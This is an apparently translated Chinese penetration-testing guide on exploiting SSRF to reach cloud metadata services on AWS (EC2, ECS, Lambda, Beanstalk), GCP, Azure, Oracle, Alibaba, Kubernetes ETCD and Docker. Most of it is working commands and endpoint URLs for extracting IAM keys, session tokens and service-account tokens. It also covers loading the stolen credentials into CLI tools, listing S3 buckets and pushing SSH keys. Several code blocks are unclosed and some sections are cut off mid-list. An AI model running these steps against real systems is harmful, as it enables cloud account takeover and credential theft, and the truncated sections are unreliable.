## AWS
### 在 AWS EC2 环境中滥用 SSRF
**元数据** 端点可以从任何 EC2 机器内部访问,并提供有关它的有趣信息。它可以通过以下 URL 访问:`http://169.254.169.254` ([有关元数据的信息在这里](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
元数据端点有 **2 个版本**。**第一个** 版本允许通过 **GET** 请求 **访问** 该端点(因此任何 **SSRF 都可以利用它**)。对于 **版本 2**,[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要通过发送带有 **HTTP 头** 的 **PUT** 请求来请求 **令牌**,然后使用该令牌通过另一个 HTTP 头访问元数据(因此用 SSRF 滥用它 **更复杂**)。
{% hint style="danger" %}
请注意,如果 EC2 实例强制执行 IMDSv2,[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html),**PUT 请求的响应** 将具有 **跳数限制为 1**,使得无法从 EC2 实例内部的容器访问 EC2 元数据。
此外,**IMDSv2** 还将 **阻止包含 `X-Forwarded-For` 头的请求以获取令牌**。这是为了防止配置错误的反向代理能够访问它。
{% endhint %}
您可以在文档中找到有关 [元数据端点的信息](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。在以下脚本中,从中获取了一些有趣的信息:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)

作为一个**公开可用的IAM凭证**暴露示例,您可以访问:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
您还可以在以下地址检查公共**EC2安全凭证**:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
然后,您可以**使用这些凭证与AWS CLI**。这将允许您执行**该角色有权限执行的任何操作**。
要利用新凭证,您需要创建一个新的AWS配置文件,如下所示:
```
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
注意 **aws\_session\_token**,这是使配置文件正常工作的必要条件。
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) 可以与发现的凭据一起使用,以找出您的权限并尝试提升权限。
### AWS ECS(容器服务)凭据中的 SSRF
**ECS** 是一组逻辑上的 EC2 实例,您可以在其上运行应用程序,而无需扩展自己的集群管理基础设施,因为 ECS 为您管理这一切。如果您成功地攻陷在 **ECS** 中运行的服务,**元数据端点会发生变化**。
如果您访问 _**http://169.254.170.2/v2/credentials/\**_,您将找到 ECS 机器的凭据。但首先,您需要 **找到 \**。要找到 \,您需要读取机器内部的 **environ** 变量 **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**。\
您可以通过利用 **路径遍历** 来读取它,路径为 `file:///proc/self/environ`。\
提到的 http 地址应该会给您 **AccessKey、SecretKey 和 token**。
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
{% hint style="info" %}
注意,在**某些情况下**,您将能够从容器访问**EC2元数据实例**(请检查之前提到的IMDSv2 TTL限制)。在这些场景中,您可以从容器访问容器IAM角色和EC2 IAM角色。
{% endhint %}
### AWS Lambda的SSRF
在这种情况下,**凭据存储在环境变量中**。因此,要访问它们,您需要访问类似**`file:///proc/self/environ`**的内容。
**有趣的环境变量**的**名称**是:
* `AWS_SESSION_TOKEN`
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`
此外,除了IAM凭据,Lambda函数在启动时还会有**传递给函数的事件数据**。这些数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并可能包含**敏感**的**信息**(例如在**stageVariables**中)。与IAM凭据不同,这些数据可以通过标准SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**访问。
{% hint style="warning" %}
注意,**lambda凭据**在**环境变量**中。因此,如果**lambda代码**的**堆栈跟踪**打印环境变量,则可能通过在应用中引发错误来**外泄它们**。
{% endhint %}
### AWS Elastic Beanstalk的SSRF URL
我们从API中检索`accountId`和`region`。
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
我们然后从 API 中检索 `AccessKeyId`、`SecretAccessKey` 和 `Token`。
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
然后我们使用凭据执行 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`。
## GCP
您可以[**在这里找到有关元数据端点的文档**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。
### Google Cloud 的 SSRF URL
需要 HTTP 头 **`Metadata-Flavor: Google`**,您可以通过以下 URL 访问元数据端点:
* http://169.254.169.254
* http://metadata.google.internal
* http://metadata
提取信息的有趣端点:
```bash

为了**使用被外泄的服务账户令牌**,你可以直接执行:
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=
gcloud projects list
# Via setup
echo "" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
```
{% endhint %}
### 添加 SSH 密钥
提取令牌
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
检查令牌的范围(使用之前的输出或运行以下命令)
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",

"expires_in": 2443,
"access_type": "offline"
}
```
现在推送 SSH 密钥。

### Azure App Service
从 **env** 中,您可以获取 `IDENTITY_HEADER` _和_ `IDENTITY_ENDPOINT` 的值。您可以使用这些值来获取与元数据服务器通信的令牌。
大多数情况下,您需要为以下资源之一获取令牌:
* [https://storage.azure.com](https://storage.azure.com/)
* [https://vault.azure.net](https://vault.azure.net/)
* [https://graph.microsoft.com](https://graph.microsoft.com/)
* [https://management.azure.com](https://management.azure.com/)
```bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription

# Get permissions in a VM

以下是各种平台元数据服务的文档,突出显示了可以访问实例的配置和运行时信息的方法。每个平台提供独特的端点来访问其元数据服务。
## Packetcloud
要访问Packetcloud的元数据,可以在以下位置找到文档:[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
这里没有提到需要头部。可以通过以下方式访问元数据:
* `http://169.254.169.254/openstack`
## HP Helion
这里也没有提到需要头部。元数据可以在以下位置访问:
* `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud
Oracle Cloud提供了一系列端点以访问各种元数据方面:
* `http://192.0.0.192/latest/`
* `http://192.0.0.192/latest/user-data/`
* `http://192.0.0.192/latest/meta-data/`
* `http://192.0.0.192/latest/attributes/`
## Alibaba
Alibaba提供了访问元数据的端点,包括实例和镜像ID:
* `http://100.100.100.200/latest/meta-data/`
* `http://100.100.100.200/latest/meta-data/instance-id`
* `http://100.100.100.200/latest/meta-data/image-id`
## Kubernetes ETCD
Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问示例如下:
* `curl -L http://127.0.0.1:2379/version`
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
## Docker
Docker元数据可以在本地访问,以下是获取容器和镜像信息的示例:
* 通过Docker套接字访问容器和镜像元数据的简单示例:
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
* 在容器内,使用curl和Docker套接字:
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
## Rancher
可以使用以下方式访问Rancher的元数据:
* `curl http://rancher-metadata//`
